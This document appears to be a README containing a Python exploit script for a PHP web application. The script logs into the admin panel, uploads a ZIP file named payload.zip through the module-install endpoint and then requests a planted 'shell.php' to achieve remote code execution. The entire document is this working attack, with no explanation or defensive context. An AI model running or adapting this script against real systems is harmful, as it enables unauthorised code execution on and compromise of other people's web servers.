README.md
Rendering markdown...
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
# Define variables
hostname = "replace_with_your_hostname"
username = "replace_with_your_username" # login username
password = "replace_with_your_password" # login password
login_url = f"http://{hostname}/login.php"
upload_url = f"http://{hostname}/admin.php?action=installmodule"
headers = {"Referer": login_url}
login_payload = {"cont1": password, username: "", "submit": "Log in"}
file_path = input("ZIP file path: ")
# Prepare multipart data
multipart_data = MultipartEncoder(
fields={
"sendfile": ("payload.zip", open(file_path, "rb"), "application/zip"),
"submit": "Upload"
}
)
# Create a session and perform login
session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload)
# Check if login is successful
if login_response.status_code == 200:
print("Login successful")
# Prepare upload headers
upload_headers = {
"Referer": upload_url,
"Content-Type": multipart_data.content_type
}
upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)
# Check if upload was successful
if upload_response.status_code == 200:
print("ZIP file uploaded successfully.")
else:
print("ZIP file upload error. Response code:", upload_response.status_code)
else:
print("Login problem. Response code:", login_response.status_code)
# Perform RCE request
rce_url = f"http://{hostname}/data/modules/payload/shell.php"
rce_response = requests.get(rce_url)
# Print RCE response
print(rce_response.text)